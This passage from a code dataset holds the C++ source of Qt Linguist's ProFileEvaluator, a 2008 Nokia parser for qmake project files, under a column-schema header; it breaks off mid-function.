code
stringlengths
4
991k
repo_name
stringlengths
6
116
path
stringlengths
4
249
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
4
991k
input_ids
listlengths
502
502
token_type_ids
listlengths
502
502
attention_mask
listlengths
502
502
labels
listlengths
502
502
/**************************************************************************** ** ** Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies). ** Contact: Qt Software Information (qt-info@nokia.com) ** ** This file is part of the Qt Linguist of the Qt Toolkit. ** ** Commercial Usage ** Licensees holding valid Qt Commercial licenses may use this file in ** accordance with the Qt Commercial License Agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and Nokia. ** ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License versions 2.0 or 3.0 as published by the Free ** Software Foundation and appearing in the file LICENSE.GPL included in ** the packaging of this file. Please review the following information ** to ensure GNU General Public Licensing requirements will be met: ** http://www.fsf.org/licensing/licenses/info/GPLv2.html and ** http://www.gnu.org/copyleft/gpl.html. In addition, as a special ** exception, Nokia gives you certain additional rights. These rights ** are described in the Nokia Qt GPL Exception version 1.3, included in ** the file GPL_EXCEPTION.txt in this package. ** ** Qt for Windows(R) Licensees ** As a special exception, Nokia, as the sole copyright holder for Qt ** Designer, grants users of the Qt/Eclipse Integration plug-in the ** right for the Qt/Eclipse Integration to link to functionality ** provided by Qt Designer and its related libraries. ** ** If you are unsure which license is appropriate for your use, please ** contact the sales department at qt-sales@nokia.com. ** ****************************************************************************/ #include "profileevaluator.h" #include "proreader.h" #include <QtCore/QDebug> #include <QtCore/QString> #include <QtCore/QSet> #include <QtCore/QRegExp> #include <QtCore/QByteArray> #include <QtCore/QFileInfo> #include <QtCore/QFile> #include <QtCore/QDir> #include "proparserutils.h" #ifdef Q_OS_UNIX #include <unistd.h> #endif #ifdef Q_OS_WIN32 #define QT_POPEN _popen #else #define QT_POPEN popen #endif QT_BEGIN_NAMESPACE QStringList ProFileEvaluator::qmake_feature_paths(/*QMakeProperty *prop=0*/) { QStringList concat; { const QString base_concat = QDir::separator() + QString(QLatin1String("features")); concat << base_concat + QDir::separator() + QLatin1String("mac"); concat << base_concat + QDir::separator() + QLatin1String("macx"); concat << base_concat + QDir::separator() + QLatin1String("unix"); concat << base_concat + QDir::separator() + QLatin1String("win32"); concat << base_concat + QDir::separator() + QLatin1String("mac9"); concat << base_concat + QDir::separator() + QLatin1String("qnx6"); concat << base_concat; } const QString mkspecs_concat = QDir::separator() + QString(QLatin1String("mkspecs")); QStringList feature_roots; QByteArray mkspec_path = qgetenv("QMAKEFEATURES"); if(!mkspec_path.isNull()) feature_roots += splitPathList(QString::fromLocal8Bit(mkspec_path)); /* if(prop) feature_roots += splitPathList(prop->value("QMAKEFEATURES")); if(!Option::mkfile::cachefile.isEmpty()) { QString path; int last_slash = Option::mkfile::cachefile.lastIndexOf(Option::dir_sep); if(last_slash != -1) path = Option::fixPathToLocalOS(Option::mkfile::cachefile.left(last_slash)); for(QStringList::Iterator concat_it = concat.begin(); concat_it != concat.end(); ++concat_it) feature_roots << (path + (*concat_it)); } */ QByteArray qmakepath = qgetenv("QMAKEPATH"); if (!qmakepath.isNull()) { const QStringList lst = splitPathList(QString::fromLocal8Bit(qmakepath)); for(QStringList::ConstIterator it = lst.begin(); it != lst.end(); ++it) { for(QStringList::Iterator concat_it = concat.begin(); concat_it != concat.end(); ++concat_it) feature_roots << ((*it) + mkspecs_concat + (*concat_it)); } } //if(!Option::mkfile::qmakespec.isEmpty()) // feature_roots << Option::mkfile::qmakespec + QDir::separator() + "features"; //if(!Option::mkfile::qmakespec.isEmpty()) { // QFileInfo specfi(Option::mkfile::qmakespec); // QDir specdir(specfi.absoluteFilePath()); // while(!specdir.isRoot()) { // if(!specdir.cdUp() || specdir.isRoot()) // break; // if(QFile::exists(specdir.path() + QDir::separator() + "features")) { // for(QStringList::Iterator concat_it = concat.begin(); // concat_it != concat.end(); ++concat_it) // feature_roots << (specdir.path() + (*concat_it)); // break; // } // } //} for(QStringList::Iterator concat_it = concat.begin(); concat_it != concat.end(); ++concat_it) feature_roots << (propertyValue(QLatin1String("QT_INSTALL_PREFIX")) + mkspecs_concat + (*concat_it)); for(QStringList::Iterator concat_it = concat.begin(); concat_it != concat.end(); ++concat_it) feature_roots << (propertyValue(QLatin1String("QT_INSTALL_DATA")) + mkspecs_concat + (*concat_it)); return feature_roots; } ProFile *ProFileEvaluator::currentProFile() const { if (m_profileStack.count() > 0) { return m_profileStack.top(); } return 0; } QString ProFileEvaluator::currentFileName() const { ProFile *pro = currentProFile(); if (pro) return pro->fileName(); return QString(); } QString ProFileEvaluator::getcwd() const { ProFile *cur = m_profileStack.top(); QFileInfo fi(cur->fileName()); return fi.absolutePath(); } ProFileEvaluator::ProFileEvaluator() { Option::init(); } ProFileEvaluator::~ProFileEvaluator() { } bool ProFileEvaluator::visitBeginProFile(ProFile * pro) { PRE(pro); bool ok = true; m_lineNo = pro->getLineNumber(); if (m_oldPath.isEmpty()) { // change the working directory for the initial profile we visit, since // that is *the* profile. All the other times we reach this function will be due to // include(file) or load(file) m_oldPath = QDir::currentPath(); m_profileStack.push(pro); QString fn = pro->fileName(); ok = QDir::setCurrent(QFileInfo(fn).absolutePath()); } if (m_origfile.isEmpty()) m_origfile = pro->fileName(); return ok; } bool ProFileEvaluator::visitEndProFile(ProFile * pro) { PRE(pro); bool ok = true; m_lineNo = pro->getLineNumber(); if (m_profileStack.count() == 1 && !m_oldPath.isEmpty()) { m_profileStack.pop(); ok = QDir::setCurrent(m_oldPath); } return ok; } bool ProFileEvaluator::visitProValue(ProValue *value) { PRE(value); m_lineNo = value->getLineNumber(); QString val(QString::fromLatin1(value->value())); QByteArray varName = m_lastVarName; QStringList v = expandVariableReferences(val); // The following two blocks fix bug 180128 by making all "interesting" // file name absolute in each .pro file, not just the top most one if (varName == QByteArray("SOURCES") || varName == QByteArray("HEADERS") || varName == QByteArray("INTERFACES") || varName == QByteArray("FORMS") || varName == QByteArray("FORMS3") || varName == QByteArray("RESOURCES")) { // matches only existent files, expand certain(?) patterns QStringList vv; for (int i = v.count(); --i >= 0; ) vv << expandPattern(v[i]); v = vv; } if (varName == QByteArray("TRANSLATIONS")) { // also matches non-existent files, but does not expand pattern QString dir = QFileInfo(currentFileName()).absolutePath(); dir += '/'; for (int i = v.count(); --i >= 0; ) v[i] = QFileInfo(dir, v[i]).absoluteFilePath(); } switch (m_variableOperator) { case ProVariable::UniqueAddOperator: // * insertUnique(&m_valuemap, varName, v, true); break; case ProVariable::SetOperator: // = case ProVariable::AddOperator: // + insertUnique(&m_valuemap, varName, v, false); break; case ProVariable::RemoveOperator: // - // fix me: interaction between AddOperator and RemoveOperator insertUnique(&m_valuemap, QByteArray(varName).prepend(QLatin1Char('-').toLatin1()), v, false); break; case ProVariable::ReplaceOperator: // ~ { // DEFINES ~= s/a/b/?[gqi] QChar sep = val.at(1); QStringList func = val.split(sep); if (func.count() < 3 || func.count() > 4) { logMessage(QString::fromAscii( "~= operator (function s///) expects 3 or 4 arguments.\n"), MT_DebugLevel1); return false; } if (func[0] != QLatin1String("s")) { logMessage(QString::fromAscii("~= operator can only handle s/// function.\n"), MT_DebugLevel1); return false; } bool global = false, quote = false, case_sense = false; if (func.count() == 4) { global = func[3].indexOf(QLatin1Char('g')) != -1; case_sense = func[3].indexOf(QLatin1Char('i')) == -1; quote = func[3].indexOf(QLatin1Char('q')) != -1; } QString pattern = func[1]; QString replace = func[2]; if(quote) pattern = QRegExp::escape(pattern); QRegExp regexp(pattern, case_sense ? Qt::CaseSensitive : Qt::CaseInsensitive); QStringList varlist = m_valuemap.value(varName); for(QStringList::Iterator varit = varlist.begin(); varit != varlist.end();) { if((*varit).contains(regexp)) { (*varit) = (*varit).replace(regexp, replace); if ((*varit).isEmpty()) varit = varlist.erase(varit); else ++varit; if(!global) break; } else ++varit; } } break; } return true; } bool ProFileEvaluator::visitProFunction(ProFunction *func) { m_lineNo = func->getLineNumber(); bool result = true; bool ok = true; QByteArray text = func->text(); int lparen = text.indexOf('('); int rparen = text.lastIndexOf(')'); Q_ASSERT(lparen < rparen); QString arguments(QString::fromLatin1(text.mid(lparen + 1, rparen - lparen - 1))); QByteArray funcName = text.left(lparen); ok &= evaluateConditionalFunction(funcName.trimmed(), arguments, &result); return ok; } bool ProFileEvaluator::visitBeginProBlock(ProBlock * block) { if (block->blockKind() == ProBlock::ScopeKind) { m_invertNext = false; m_condition = false; } return true; } bool ProFileEvaluator::visitEndProBlock(ProBlock * /*block*/) { return true; } bool ProFileEvaluator::visitBeginProVariable(ProVariable *variable) { m_lastVarName = variable->variable(); m_variableOperator = variable->variableOperator(); return true; } bool ProFileEvaluator::visitEndProVariable(ProVariable * /*variable*/) { m_lastVarName.clear(); return true; } bool ProFileEvaluator::visitProOperator(ProOperator * oper) { m_invertNext = (oper->operatorKind() == ProOperator::NotOperator); return true; } bool ProFileEvaluator::visitProCondition(ProCondition * cond) { if (!m_condition) { if (m_invertNext) { m_condition |= !isActiveConfig(cond->text(), true); } else { m_condition |= isActiveConfig(cond->text(), true); } } return true; } QStringList ProFileEvaluator::expandVariableReferences(const QString &str) { bool fOK; bool *ok = &fOK; QStringList ret; if(ok) *ok = true; if(str.isEmpty()) return ret; const ushort LSQUARE = '['; const ushort RSQUARE = ']'; const ushort LCURLY = '{'; const ushort RCURLY = '}'; const ushort LPAREN = '('; const ushort RPAREN = ')'; const ushort DOLLAR = '$'; const ushort BACKSLASH = '\\'; const ushort UNDERSCORE = '_'; const ushort DOT = '.'; const ushort SPACE = ' '; const ushort TAB = '\t'; ushort unicode; const QChar *str_data = str.data(); const int str_len = str.length(); ushort term; QString var, args; int replaced = 0; QString current; for(int i = 0; i < str_len; ++i) { unicode = (str_data+i)->unicode(); const int start_var = i; if (unicode == BACKSLASH) { bool escape = false; const char *symbols = "[]{}()$\\"; for(const char *s = symbols; *s; ++s) { if(*(str_data+i+1) == (ushort)*s) { i++; escape = true; if(!(replaced++)) current = str.left(start_var); current.append(str.at(i)); break; } } if(!escape && replaced) current.append(QChar(unicode)); continue; } if(unicode == SPACE || unicode == TAB) { unicode = 0; if(!current.isEmpty()) { unquote(&current); ret.append(current); current.clear(); } } else if(unicode == DOLLAR && str_len > i+2) { unicode = (str_data+(++i))->unicode(); if(unicode == DOLLAR) { term = 0; var.clear(); args.clear(); enum { VAR, ENVIRON, FUNCTION, PROPERTY } var_type = VAR; unicode = (str_data+(++i))->unicode(); if(unicode == LSQUARE) { unicode = (str_data+(++i))->unicode(); term = RSQUARE; var_type = PROPERTY; } else if(unicode == LCURLY) { unicode = (str_data+(++i))->unicode(); var_type = VAR; term = RCURLY; } else if(unicode == LPAREN) { unicode = (str_data+(++i))->unicode(); var_type = ENVIRON; term = RPAREN; } while(1) { if(!(unicode & (0xFF<<8)) && unicode != DOT && unicode != UNDERSCORE && (unicode < 'a' || unicode > 'z') && (unicode < 'A' || unicode > 'Z') && (unicode < '0' || unicode > '9')) break; var.append(QChar(unicode)); if(++i == str_len) break; unicode = (str_data+i)->unicode(); } if(var_type == VAR && unicode == LPAREN) { var_type = FUNCTION; int depth = 0; while(1) { if(++i == str_len) break; unicode = (str_data+i)->unicode(); if(unicode == LPAREN) { depth++; } else if(unicode == RPAREN) { if(!depth) break; --depth; } args.append(QChar(unicode)); } if(i < str_len-1) unicode = (str_data+(++i))->unicode(); else unicode = 0; } if(term) { if(unicode != term) { logMessage(QString::fromAscii( "Missing %1 terminator [found %2]").arg(QChar(term)).arg(QChar(unicode)), MT_DebugLevel1); if(ok) *ok = false; return QStringList(); } unicode = 0; } else if(i > str_len-1) { unicode = 0; } QStringList replacement; if (var_type == ENVIRON) { replacement << QString::fromLocal8Bit(qgetenv(var.toLatin1().constData())); } else if(var_type == PROPERTY) { replacement << propertyValue(var); //if(prop) // replacement = QStringList(prop->value(var)); } else if(var_type == FUNCTION) { replacement << evaluateExpandFunction( var.toAscii(), args ); } else if(var_type == VAR) { replacement += values(var); } if (!(replaced++) && start_var) current = str.left(start_var); if (!replacement.isEmpty()) { /* If a list is beteen two strings make sure it expands in such a way * that the string to the left is prepended to the first string and * the string to the right is appended to the last string, example: * LIST = a b c * V3 = x/$$LIST/f.cpp * message($$member(V3,0)) # Outputs "x/a" * message($$member(V3,1)) # Outputs "b" * message($$member(V3,2)) # Outputs "c/f.cpp" */ current.append(replacement.at(0)); for (int i = 1; i < replacement.count(); ++i) { unquote(&current); ret.append(current); current = replacement.at(i); } } } else { if(replaced) current.append(QLatin1String("$")); } } if(replaced && unicode) current.append(QChar(unicode)); } if (!replaced) { current = str; unquote(&current); ret.append(current); } else if(!current.isEmpty()) { unquote(&current); ret.append(current); logMessage(MT_DebugLevel2, "Project Parser [var replace]: %s -> [%s]\n", str.toLatin1().constData(), ret.join(QLatin1String(",")).toLatin1().constData()); } return ret; } bool ProFileEvaluator::isActiveConfig(const QByteArray &config, bool regex) { //magic types for easy flipping if(config == "true") return true; else if(config == "false") return false; //mkspecs if((Option::target_mode == Option::TARG_MACX_MODE || Option::target_mode == Option::TARG_QNX6_MODE || Option::target_mode == Option::TARG_UNIX_MODE) && config == "unix") return true; else if(Option::target_mode == Option::TARG_MACX_MODE && config == "macx") return true; else if(Option::target_mode == Option::TARG_QNX6_MODE && config == "qnx6") return true; else if(Option::target_mode == Option::TARG_MAC9_MODE && config == "mac9") return true; else if((Option::target_mode == Option::TARG_MAC9_MODE || Option::target_mode == Option::TARG_MACX_MODE) && config == "mac") return true; else if(Option::target_mode == Option::TARG_WIN_MODE && config == "win32") return true; QRegExp re(QString::fromLatin1(config), Qt::CaseSensitive, QRegExp::Wildcard); QString spec = Option::qmakespec; if((regex && re.exactMatch(spec)) || (!regex && spec == QString::fromLatin1(config))) return true; return false; } QStringList ProFileEvaluator::evaluateExpandFunction(const QByteArray &func, const QString &arguments) { QStringList argumentsList = split_arg_list(arguments); QStringList args; for (int i = 0; i < argumentsList.count(); ++i) { args +=expandVariableReferences(argumentsList[i]); } enum ExpandFunc { E_MEMBER=1, E_FIRST, E_LAST, E_CAT, E_FROMFILE, E_EVAL, E_LIST, E_SPRINTF, E_JOIN, E_SPLIT, E_BASENAME, E_DIRNAME, E_SECTION, E_FIND, E_SYSTEM, E_UNIQUE, E_QUOTE, E_ESCAPE_EXPAND, E_UPPER, E_LOWER, E_FILES, E_PROMPT, E_RE_ESCAPE, E_REPLACE }; static QMap<QByteArray, int> *expands = 0; if(!expands) { expands = new QMap<QByteArray, int>; expands->insert("member", E_MEMBER); //v (implemented) expands->insert("first", E_FIRST); //v expands->insert("last", E_LAST); //v expands->insert("cat", E_CAT); expands->insert("fromfile", E_FROMFILE); expands->insert("eval", E_EVAL); expands->insert("list", E_LIST); expands->insert("sprintf", E_SPRINTF); expands->insert("join", E_JOIN); //v expands->insert("split", E_SPLIT); //v expands->insert("basename", E_BASENAME); //v expands->insert("dirname", E_DIRNAME); //v expands->insert("section", E_SECTION); expands->insert("find", E_FIND); expands->insert("system", E_SYSTEM); //v expands->insert("unique", E_UNIQUE); expands->insert("quote", E_QUOTE); //v expands->insert("escape_expand", E_ESCAPE_EXPAND); expands->insert("upper", E_UPPER); expands->insert("lower", E_LOWER); expands->insert("re_escape", E_RE_ESCAPE); expands->insert("files", E_FILES); expands->insert("prompt", E_PROMPT); expands->insert("replace", E_REPLACE); } ExpandFunc func_t = (ExpandFunc)expands->value(func.toLower()); QStringList ret; switch(func_t) { case E_BASENAME: case E_DIRNAME: case E_SECTION: { bool regexp = false; QString sep, var; int beg=0, end=-1; if(func_t == E_SECTION) { if(args.count() != 3 && args.count() != 4) { logMessage(QString::fromAscii( "%2(var) section(var, sep, begin, end) requires three arguments.\n") .arg(QString::fromLatin1(func.constData()))); } else { var = args[0]; sep = args[1]; beg = args[2].toInt(); if(args.count() == 4) end = args[3].toInt(); } } else { if(args.count() != 1) { logMessage(QString::fromAscii("%2(var) requires one argument.\n").arg( QString::fromLatin1(func.constData()))); } else { var = args[0]; regexp = true; sep = QLatin1String("[\\\\/]"); if(func_t == E_DIRNAME) end = -2; else beg = -1; } } if(!var.isNull()) { const QStringList l = values(var); for(QStringList::ConstIterator it = l.begin(); it != l.end(); ++it) { if(regexp) ret += (*it).section(QRegExp(sep), beg, end); else ret += (*it).section(sep, beg, end); } } break; } case E_JOIN: { if(args.count() < 1 || args.count() > 4) { logMessage(QString::fromAscii("join(var, glue, before, after) requires four arguments.\n")); } else { QString glue, before, after; if(args.count() >= 2) glue = args[1]; if(args.count() >= 3) before = args[2]; if(args.count() == 4) after = args[3]; const QStringList &var = values(args.first()); if(!var.isEmpty()) ret.append(before + var.join(glue) + after); } break; } case E_SPLIT: { if(args.count() < 2 || args.count() > 2) { logMessage(QString::fromAscii("split(var, sep) requires two arguments\n")); } else { QString sep = args[1]; QStringList var = values(args.first()); for(QStringList::ConstIterator vit = var.begin(); vit != var.end(); ++vit) { QStringList lst = (*vit).split(sep); for(QStringList::ConstIterator spltit = lst.begin(); spltit != lst.end(); ++spltit) { ret.append(*spltit); } } } break; } case E_MEMBER: { if(args.count() < 1 || args.count() > 3) { logMessage(QString::fromAscii("member(var, start, end) requires three arguments.\n")); } else { bool ok = true; const QStringList var = values(args.first()); int start = 0, end = 0; if(args.count() >= 2) { QString start_str = args[1]; start = start_str.toInt(&ok); if(!ok) { if(args.count() == 2) { int dotdot = start_str.indexOf(QLatin1String("..")); if(dotdot != -1) { start = start_str.left(dotdot).toInt(&ok); if(ok) end = start_str.mid(dotdot+2).toInt(&ok); } } if(!ok) logMessage(QString::fromAscii("member() argument 2 (start) '%2' invalid.\n").arg( start_str), MT_DebugLevel1 ); } else { end = start; if(args.count() == 3) end = args[2].toInt(&ok); if(!ok) logMessage(QString::fromAscii("member() argument 3 (end) '%2' invalid.\n").arg( args[2]), MT_DebugLevel1 ); } } if(ok) { if(start < 0) start += var.count(); if(end < 0) end += var.count(); if(start < 0 || start >= var.count() || end < 0 || end >= var.count()) { //nothing } else if(start < end) { for(int i = start; i <= end && (int)var.count() >= i; i++) { ret.append(var[i]); } } else { for(int i = start; i >= end && (int)var.count() >= i && i >= 0; i--) { ret += var[i]; } } } } break; } case E_FIRST: case E_LAST: { if(args.count() != 1) { logMessage(QString::fromAscii("%2(var) requires one argument.\n").arg( QString::fromLatin1(func.constData()))); } else { const QStringList var = values(args.first()); if(!var.isEmpty()) { if(func_t == E_FIRST) ret.append(var[0]); else ret.append(var.last()); } } break; } case E_SYSTEM: { if (m_condition) { if(args.count() < 1 || args.count() > 2) { logMessage(QString::fromAscii("system(execut) requires one or two arguments.\n")); } else { char buff[256]; FILE *proc = QT_POPEN(args[0].toLatin1(), "r"); bool singleLine = true; if(args.count() > 1) singleLine = (args[1].toLower() == QLatin1String("true")); QString output; while(proc && !feof(proc)) { int read_in = int(fread(buff, 1, 255, proc)); if(!read_in) break; for(int i = 0; i < read_in; i++) { if((singleLine && buff[i] == '\n') || buff[i] == '\t') buff[i] = ' '; } buff[read_in] = '\0'; output += QLatin1String(buff); } ret += split_value_list(output); } } break; } case E_QUOTE: for (int i = 0; i < args.count(); ++i) { ret += (QStringList)args.at(i); } break; case 0: { logMessage(MT_DebugLevel2, "'%s' is not a function\n", func.data()); break; } default: { logMessage(MT_DebugLevel2, "Function '%s' is not implemented\n", func.data()); break; } } return ret; } bool ProFileEvaluator::evaluateConditionalFunction(const QByteArray &function, const QString &arguments, bool *result) { QStringList argumentsList = split_arg_list(arguments); QString sep; sep.append(QLatin1Char(Option::field_sep)); QStringList args; for (int i = 0; i < argumentsList.count(); ++i) { args += expandVariableReferences(argumentsList[i]).join(sep); } enum ConditionFunc { CF_CONFIG = 1, CF_CONTAINS, CF_COUNT, CF_EXISTS, CF_INCLUDE, CF_LOAD, CF_ISEMPTY, CF_SYSTEM, CF_MESSAGE}; static QMap<QByteArray, int> *functions = 0; if(!functions) { functions = new QMap<QByteArray, int>; functions->insert("load", CF_LOAD); //v functions->insert("include", CF_INCLUDE); //v functions->insert("message", CF_MESSAGE); //v functions->insert("warning", CF_MESSAGE); //v functions->insert("error", CF_MESSAGE); //v } bool cond = false; bool ok = true; ConditionFunc func_t = (ConditionFunc)functions->value(function); switch (func_t) { case CF_CONFIG: { if(args.count() < 1 || args.count() > 2) { logMessage(QString::fromAscii("CONFIG(config) requires one or two arguments.\n"), MT_DebugLevel1); ok = false; break; } if(args.count() == 1) { //cond = isActiveConfig(args.first()); break; } const QStringList mutuals = args[1].split(QLatin1Char('|')); const QStringList &configs = m_valuemap.value("CONFIG"); for(int i = configs.size() - 1 && ok; i >= 0; i--) { for(int mut = 0; mut < mutuals.count(); mut++) { if(configs[i] == mutuals[mut].trimmed()) { cond = (configs[i] == args[0]); break; } } } break; } case CF_CONTAINS: { if(args.count() < 2 || args.count() > 3) { logMessage(QString::fromAscii("contains(var, val) requires at least two arguments.\n"), MT_DebugLevel1); ok = false; break; } QRegExp regx(args[1]); const QStringList &l = values(args.first()); if(args.count() == 2) { for(int i = 0; i < l.size(); ++i) { const QString val = l[i]; if(regx.exactMatch(val) || val == args[1]) { cond = true; break; } } } else { const QStringList mutuals = args[2].split(QLatin1Char('|')); for(int i = l.size()-1; i >= 0; i--) { const QString val = l[i]; for(int mut = 0; mut < mutuals.count(); mut++) { if(val == mutuals[mut].trimmed()) { cond = (regx.exactMatch(val) || val == args[1]); break; } } } } break; } case CF_COUNT: { if(args.count() != 2 && args.count() != 3) { logMessage(QString::fromAscii("count(var, count) requires at least two arguments.\n"), MT_DebugLevel1); ok = false; break; } if(args.count() == 3) { QString comp = args[2]; if(comp == QLatin1String(">") || comp == QLatin1String("greaterThan")) { cond = values(args.first()).count() > args[1].toInt(); } else if(comp == QLatin1String(">=")) { cond = values(args.first()).count() >= args[1].toInt(); } else if(comp == QLatin1String("<") || comp == QLatin1String("lessThan")) { cond = values(args.first()).count() < args[1].toInt(); } else if(comp == QLatin1String("<=")) { cond = values(args.first()).count() <= args[1].toInt(); } else if(comp == QLatin1String("equals") || comp == QLatin1String("isEqual") || comp == QLatin1String("=") || comp == QLatin1String("==")) { cond = values(args.first()).count() == args[1].toInt(); } else { ok = false; logMessage(QString::fromAscii("unexpected modifier to count(%2)\n").arg( comp), MT_DebugLevel1); } break; } cond = values(args.first()).count() == args[1].toInt(); break; } case CF_INCLUDE: { QString parseInto; if(args.count() == 2) { parseInto = args[1]; } else if(args.count() != 1) { logMessage(QString::fromAscii("include(file) requires one argument.\n"), MT_DebugLevel1); ok = false; break; } QString fileName = args.first(); // ### this breaks if we have include(c:/reallystupid.pri) but IMHO that's really bad style. QDir currentProPath(getcwd()); fileName = currentProPath.absoluteFilePath(fileName); ok = evaluateFile(fileName, &ok); break; } case CF_LOAD: { QString parseInto; bool ignore_error = false; if(args.count() == 2) { QString sarg = args[1]; ignore_error = (sarg.toLower() == QLatin1String("true") || sarg.toInt()); } else if(args.count() != 1) { logMessage(QString::fromAscii("load(feature) requires one argument.\n"), MT_DebugLevel1); ok = false; break; } ok = evaluateFeatureFile( args.first(), &cond); break; } case CF_MESSAGE: { if(args.count() != 1) { logMessage(QString::fromAscii("%2(message) requires one argument.\n").arg( QString(QString::fromLatin1(function.constData()))), MT_DebugLevel1); ok = false; break; } QString msg = args.first(); bool isError = (function == "error"); logMessage(QString::fromAscii("%2\n").arg(msg), isError ? MT_ProError : MT_ProMessage); break; } case CF_SYSTEM: { if(args.count() != 1) { logMessage(QString::fromAscii("system(exec) requires one argument.\n"), MT_DebugLevel1); ok = false; break; } ok = system(args.first().toLatin1().constData()) == 0; break; } case CF_ISEMPTY: { if(args.count() != 1) { logMessage(QString::fromAscii("isEmpty(var) requires one argument.\n"), MT_DebugLevel1); ok = false; break; } QStringList sl = values(args.first()); if (sl.count() == 0) { cond = true; }else if (sl.count() > 0) { QString var = sl.first(); cond = (var.isEmpty()); } break; } case CF_EXISTS: { if(args.count() != 1) { logMessage(QString::fromAscii("exists(file) requires one argument.\n"), MT_DebugLevel1); ok = false; break; } QString file = args.first(); file = QDir::cleanPath(file); if (QFile::exists(file)) { cond = true; break; } //regular expression I guess QString dirstr = getcwd(); int slsh = file.lastIndexOf(Option::dir_sep); if(slsh != -1) { dirstr = file.left(slsh+1); file = file.right(file.length() - slsh - 1); } cond = QDir(dirstr).entryList(QStringList(file)).count(); break; } } if (result) *result = cond; return ok; } bool ProFileEvaluator::contains(const QString &variableName) const { return m_valuemap.contains(variableName.toAscii()); } QStringList ProFileEvaluator::values(const QString &variableName) const { if (variableName == QLatin1String("PWD")) { return QStringList(getcwd()); } return m_valuemap.value(variableName.toAscii()); } bool ProFileEvaluator::evaluateFile(const QString &fileName, bool *result) { bool ok = true; QString fn = fileName; QFileInfo fi(fn); if (fi.exists()) { logMessage(QString::fromAscii("Reading %2\n").arg(fileName), MT_DebugLevel3); ProFile *pro = queryProFile(fi.absoluteFilePath()); if (pro) { m_profileStack.push_back(pro); ok &= currentProFile() ? pro->Accept(this) : false; if (ok) { if (m_profileStack.count() > 0) { ProFile *pro = m_profileStack.pop(); releaseProFile(pro); } } } if (result) *result = true; }else{ if (result) *result = false; } /* if (ok && readFeatures) { QStringList configs = values("CONFIG"); QSet<QString> processed; for (QStringList::iterator it = configs.begin(); it != configs.end(); ++it) { QString fn = *it; if (!processed.contains(fn)) { processed.insert(fn); evaluateFeatureFile(fn, 0); } } } */ return ok; } bool ProFileEvaluator::evaluateFeatureFile(const QString &fileName, bool *result) { QString fn; QStringList feature_paths = qmake_feature_paths(); for(QStringList::ConstIterator it = feature_paths.begin(); it != feature_paths.end(); ++it) { QString fname = *it + QLatin1Char('/') + fileName; if (QFileInfo(fname).exists()) { fn = fname; break; } fname += QLatin1String(".prf"); if (QFileInfo(fname).exists()) { fn = fname; break; } } return fn.isEmpty() ? false : evaluateFile(fn, result); } ProFileEvaluator::TemplateType ProFileEvaluator::templateType() { QStringList templ = m_valuemap.value("TEMPLATE"); if (templ.count() >= 1) { QByteArray t = templ.last().toAscii().toLower(); if (t == "app") return TT_Application; if (t == "lib") return TT_Library; if (t == "subdirs") return TT_Subdirs; } return TT_Unknown; } /* * Lookup of files are done in this order: * 1. look in pwd * 2. look in vpaths * 3. expand wild card files relative from the profiles folder **/ // FIXME: This code supports something that I'd consider a flaw in .pro file syntax // which is not even documented. So arguably this can be ditched completely... QStringList ProFileEvaluator::expandPattern(const QString& pattern) { QStringList vpaths = values(QLatin1String("VPATH")) + values(QLatin1String("QMAKE_ABSOLUTE_SOURCE_PATH")) + values(QLatin1String("DEPENDPATH")) + values(QLatin1String("VPATH_SOURCES")); QStringList sources_out; ProFile *pro = currentProFile(); if (!pro) return QStringList(); QFileInfo fi0(pro->fileName()); QDir dir0(fi0.absoluteDir()); QString absName = QDir::cleanPath(dir0.absoluteFilePath(pattern)); QFileInfo fi(absName); bool found = fi.exists(); // Search in all vpaths for(QStringList::Iterator vpath_it = vpaths.begin(); vpath_it != vpaths.end() && !found; ++vpath_it) { QDir vpath(*vpath_it); fi.setFile(*vpath_it + QDir::separator() + pattern); if (fi.exists()) { absName = fi.absoluteFilePath(); found = true; break; } } if (found) { sources_out+=fi.canonicalFilePath(); } else { QString val = pattern; QString dir, regex = val, real_dir; if(regex.lastIndexOf(QLatin1Char('/')) != -1) { dir = regex.left(regex.lastIndexOf(QLatin1Char('/')) + 1); real_dir = dir; regex = regex.right(regex.length() - dir.length()); } if(real_dir.isEmpty() || QFileInfo(real_dir).exists()) { QStringList files = QDir(real_dir).entryList(QStringList(regex)); if(files.isEmpty()) { logMessage(MT_DebugLevel2, "%s:%d Failure to find %s", __FILE__, __LINE__, val.toLatin1().constData()); } else { QString a; for(int i = files.count() - 1; i >= 0; --i) { if(files[i] == QLatin1String(".") || files[i] == QLatin1String("..")) continue; a = dir + files[i]; sources_out += a; } } } else { logMessage(MT_DebugLevel2, "%s:%d Cannot match %s%c%s, as %s does not exist.", __FILE__, __LINE__, real_dir.toLatin1().constData(), '/', regex.toLatin1().constData(), real_dir.toLatin1().constData()); } } return sources_out; } ProFile *ProFileEvaluator::queryProFile(const QString &filename) { ProReader pr; pr.setEnableBackSlashFixing(false); ProFile *pro = pr.read(filename); if (!pro) { LogMessage msg; msg.m_msg = QLatin1String("parse failure."); msg.m_filename = filename; msg.m_linenumber = pr.currentLine(); msg.m_type = MT_Error; logMessage(msg); } return pro; } void ProFileEvaluator::releaseProFile(ProFile *pro) { delete pro; } QString ProFileEvaluator::propertyValue(const QString &val) const { return getPropertyValue(val); } void ProFileEvaluator::logMessage(const ProFileEvaluator::LogMessage &msg) { QByteArray locstr = QString(QLatin1String("%1(%2):")).arg(msg.m_filename).arg(msg.m_linenumber).toAscii(); QByteArray text = msg.m_msg.toAscii(); switch (msg.m_type) { case MT_DebugLevel3: qWarning("%s profileevaluator information: %s", locstr.data(), text.data()); break; case MT_DebugLevel2: qWarning("%s profileevaluator warning: %s", locstr.data(), text.data()); break; case MT_DebugLevel1: qWarning("%s profileevaluator critical error: %s", locstr.data(), text.data()); break; case MT_ProMessage: qWarning("%s Project MESSAGE: %s", locstr.data(), text.data()); break; case MT_ProError: qWarning("%s Project ERROR: %s", locstr.data(), text.data()); break; case MT_Error: qWarning("%s ERROR: %s", locstr.data(), text.data()); break; } } void ProFileEvaluator::logMessage(const QString &message, MessageType mt) { LogMessage msg; msg.m_msg = message; msg.m_type = mt; ProFile *pro = currentProFile(); if (pro) { msg.m_filename = pro->fileName(); msg.m_linenumber = m_lineNo; } else { msg.m_filename = QLatin1String("Not a file"); msg.m_linenumber = 0; } logMessage(msg); } void ProFileEvaluator::logMessage(MessageType mt, const char *msg, ...) { #define MAX_MESSAGE_LENGTH 1024 char 